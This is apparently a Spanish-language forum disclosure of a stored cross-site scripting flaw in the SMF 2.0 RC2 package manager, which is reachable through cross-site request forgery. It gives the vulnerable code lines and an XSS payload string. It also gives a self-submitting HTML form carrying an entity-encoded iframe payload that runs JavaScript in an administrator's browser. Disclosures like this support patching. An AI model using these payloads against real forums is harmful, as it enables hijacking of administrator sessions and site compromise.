| Descripción: | XSS en el administrador de paquetes | 
| Descubierto por: | cicatriz.r00t@gmail.com | 
| Código vulnerable: | Sources/Packages.php:1384 | 
| URL Vulnerable: | N/A | 
| PoC: | N/A | 
| Afecta a: | SMF 2.0 RC2 | 
Descripción
Este ataque de Cross-Site Scripting sucede cuando especificamos como FTP
Server ("pack_server" input) algo como:
Código
"/onmouseover="alert(0);
Este problema reside en la linea 1384 del archivo Sources/Packages.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1384
Aunque tambien se puede ver en otras variables:
Código
+++Packages.php @@ 1381:1388
1381 if (isset($_POST['submit']))
1382 {
1383 updateSettings(array(
1384 'package_server' => $_POST['pack_server'],
1385 'package_port' => $_POST['pack_port'],
1386 'package_username' => $_POST['pack_user'],
1387 'package_make_backups' => !empty($_POST['package_make_backups'])
1388 ));
---Packages.php
Esto se puede hacer automáticamente mediante CSRF, que aunque tiene un token el
formulario original no es checkeado.
Entonces el código seria simple:
Código
<body onload="document.forms[0].elements[4].click();">
<form accept-charset="UTF-8" method="post"
action="/index.php?action=admin;area=packages;sa=options">
<input type="text" size="30"
value="&#34;&#62;&#60;&#105;&#102;&#114;&#97;&#109;&#101;&#47;&#115;&#114;&#99;&#61;&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#48;&#41;&#34;&#62;"
id="pack_server" name="pack_server"/>
<input type="text" value="" size="3" id="pack_port" name="pack_port"/>
<input type="text" size="30" value="" id="pack_user" name="pack_user"/>
<input type="checkbox" checked="checked" class="check" value="1"
id="package_make_backups" name="package_make_backups"/>
<input type="submit" value="Save" name="submit"/>
</form>
</body>
Solo con que se cumpla el if() se alojan las variables:
Citar
  1381      if (isset($_POST['submit']))
El ataque XSS también se ejecuta en la sección de "File Permissions".


 
  




 Autor
 Autor
		





 En línea
									En línea
								 -
 - 

 
						
